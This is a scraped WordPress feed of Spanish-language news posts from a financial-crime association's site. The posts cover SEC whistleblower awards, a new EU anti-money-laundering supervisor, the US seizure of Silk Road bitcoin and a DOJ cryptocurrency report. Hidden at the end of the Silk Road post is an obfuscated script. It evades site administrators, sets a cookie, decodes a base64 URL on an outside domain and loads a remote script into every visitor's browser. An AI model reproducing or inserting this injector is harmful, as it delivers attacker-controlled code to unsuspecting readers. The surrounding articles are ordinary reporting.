Noticias – Página 14 – ACFCS | Asociación de Especialistas Certificados en Delitos Financieros

\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n

Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\nThe agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\nThe deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\nThe Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son 